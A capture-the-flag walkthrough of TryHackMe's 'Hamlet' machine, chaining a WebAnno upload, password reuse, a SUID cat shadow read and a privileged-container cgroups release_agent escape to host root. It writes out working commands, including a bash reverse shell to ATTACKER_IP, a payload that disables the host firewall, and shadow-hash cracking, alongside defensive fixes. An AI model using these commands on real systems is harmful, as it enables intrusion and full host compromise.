mintshell
VI

Hamlet

A Shakespeare-themed box: WebAnno's arbitrary-extension upload is executed by a sibling Apache for RCE, a SUID cat cracks the container root, and a privileged Docker container is escaped via cgroups release_agent to host root.

Platform
TryHackMe
Room
Hamlet(external link)
Difficulty
Medium
Vulnerabilities
unrestricted file upload, password reuse, weak credentials, privileged container escape
6 min read

TryHackMe: Hamlet — A Play Within a Play, from WebAnno Upload to a Container Escape

A walkthrough of TryHackMe’s “Hamlet”: anonymous FTP leaks a password policy that helps brute a WebAnno login, in-app password resets and a leaked note pivot us to a shell user, WebAnno’s arbitrary-file upload is executed by a sibling Apache for RCE, a SUID cat cracks the container’s root, and a privileged Docker container is escaped via the cgroups release_agent trick to land root on the host.

Hamlet is an authorized training machine on TryHackMe; everything here was performed against a legal practice target. All six flags, recovered passwords, and the root hash are redacted — values shown as <redacted> or THM{<redacted>} are real on the box but withheld here.


TL;DR — the whole chain

TL;DR

Anonymous FTP leaks a WebAnno password policy (lowercase, 12–14 chars) → build a cewl wordlist from the site’s hamlet.txt and brute WebAnno for ghost → ghost’s high privileges let us reset users and read an annotation that leaks ophelia’s password → that password is reused for FTP (user flag) → WebAnno lets you upload a document with any extension, and a sibling Apache on port 8000 executes it from a predictable path → drop a PHP reverse shell for RCE as www-data inside a Docker container → a SUID cat reads /etc/shadow; crack the root hash and su (container root) → the container is privileged, so escape via the cgroups release_agent trick → root on the host.

The target

export IP=<target-ip>
export ATTACKER_IP=<your-ip>

A crowded attack surface:

21/tcp    vsftpd 3.0.3           (anonymous login allowed)
22/tcp    OpenSSH 7.6p1
80/tcp    lighttpd 1.4.45        (Hamlet Annotation Project)
501/tcp   Hamlet quote service   (a gravedigger riddle -> flag 2; no exploit here)
8000/tcp  Apache 2.4.48          (serves the WebAnno repository)
8080/tcp  Apache Tomcat          (WebAnno - Log in)

Anonymous FTP hands over password-policy.md (WebAnno passwords are lowercase, 12–14 chars) and ufw.status; port 80’s robots.txt holds flag 1 and the site serves hamlet.txt.

The vulnerability: a safe feature behind an unsafe server

Hamlet’s foothold is not a bug in WebAnno — it is the system built around it.

Insight

WebAnno deliberately lets you upload a “document” with any extension — harmless on its own, because WebAnno never executes annotation files. The flaw is the architecture: a second Apache on port 8000 serves the same repository directory and will happily execute a .php file. Upload-as-annotation plus execute-via-sibling-service equals RCE, and the storage path is predictable: /repository/project/&lt;project_id&gt;/document/&lt;document_id&gt;/source/&lt;filename&gt;.

Step 1 — brute WebAnno for ghost with a Hamlet wordlist

The policy says 12–14 lowercase characters. Harvest candidate words straight from the play and brute the WebAnno login:

cewl -m 12 -w wordlist.txt --lowercase http://$IP/hamlet.txt
# then brute http://$IP:8080 WebAnno login for user 'ghost'
# -> ghost / <redacted>

Step 2 — pivot inside WebAnno, spray the leaked password to FTP

Ghost has high WebAnno privileges, so we can reset the other users (ophelia, admin) and read their annotations. One of ophelia’s annotated texts leaks a password. It does not work on WebAnno — but it is reused for her system account over FTP (SSH is key-only):

ftp $IP            # ophelia / <redacted>  (password spray)
ftp> get flag      # THM{<redacted>}   (user flag)

Step 3 — WebAnno upload → RCE as www-data (in a container)

As an admin-level WebAnno user, upload a PHP reverse shell as a project document, then fetch it through the port-8000 Apache:

# upload revshell.php as a document in project 0, then:
curl "http://$IP:8000/repository/project/0/document/1/source/revshell.php"
# nc -lvnp 4444  ->  uid=33(www-data)  hostname: 66505608bd11  (a Docker container)

Step 4 — container root via SUID cat

There is no sudo in the container, but the SUID list is damning — /bin/cat is setuid root. That is a GTFOBins read primitive: dump /etc/shadow, crack the root hash, and switch user:

find / -perm -4000 2>/dev/null     # ... /bin/cat
cat /etc/shadow                    # root:$y$...  (yescrypt hash, redacted)
john --wordlist=rockyou.txt root_hash   # -> cracked (value redacted)
su root                            # container root
# /root/.flag and /root/stage/flag  ->  THM{<redacted>}  (flags 5 and 4)

Step 5 — escape the privileged container to host root

The container is running privileged — host block devices are visible, and mounting the LVM device confirms we can reach the host filesystem:

mount /dev/dm-0 /mnt/host && ls /mnt/host   # the real host root fs

Rather than drop an SSH key, use the classic cgroups release_agent escape to run a command on the host as root. ufw is active on the host, so the first payload disables it; the second returns a shell:

mkdir /tmp/cgrp && mount -t cgroup -o rdma cgroup /tmp/cgrp && mkdir /tmp/cgrp/x
echo 1 > /tmp/cgrp/x/notify_on_release
host_path=`sed -n 's/.*\perdir=\([^,]*\).*/\1/p' /etc/mtab`
echo "$host_path/cmd" > /tmp/cgrp/release_agent

printf '#!/bin/bash\nufw --force disable\n' > /cmd && chmod +x /cmd
sh -c "echo \$\$ > /tmp/cgrp/x/cgroup.procs"      # fires /cmd as root on the host

printf '#!/bin/bash\nbash -i >& /dev/tcp/%s/1603 0>&1\n' "$ATTACKER_IP" > /cmd && chmod +x /cmd
sh -c "echo \$\$ > /tmp/cgrp/x/cgroup.procs"      # host reverse shell
# nc -lvnp 1603  ->  root@hamlet  ->  /root/flag  THM{<redacted>}  (flag 6)

Because Docker runs as root on the host, host root needs no further escalation.

Impact

Critical

Critical — authenticated web RCE to host root. The upload-plus-sibling-Apache gives remote code execution (~CVSS 3.1 8.8, AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H), and the privileged container turns container RCE into full host compromise with no kernel exploit at all — just mountable host disks and the cgroups release_agent. A weak, cracked container-root password and a reused FTP password smooth the path.

Fix

  1. Never serve WebAnno’s repository with a PHP-capable web server. The upload is only dangerous because a sibling Apache executes it — serve annotation files as static, non-executable content, or not at all.
  2. Do not run containers as --privileged**.** It exposes host devices and enables the cgroups escape; drop capabilities, use user namespaces, and keep host disks out of the container.
  3. Remove the SUID bit from cat (and audit all SUID binaries); set a strong root password — “murder”-class words fall to rockyou instantly.
  4. Disable anonymous FTP and stop reusing one password across WebAnno, FTP, and OS accounts.

Takeaways

  • Understand the system before the service. WebAnno itself was not vulnerable; the kill was its interaction with a second web server. Map the whole box first.
  • Arbitrary-extension uploads are only safe if nothing executes them. Find who serves the upload directory.
  • A SUID read tool is a credential leak. cat, head, less with the setuid bit all read /etc/shadow.
  • Privileged containers are not a boundary. Mountable host devices and release_agent are host root without a single CVE.

Thanks for reading. Hamlet earns its name — a play within a play, where the real drama is a container nested inside a host, and the final act is a cgroups trick that steps straight out onto the stage.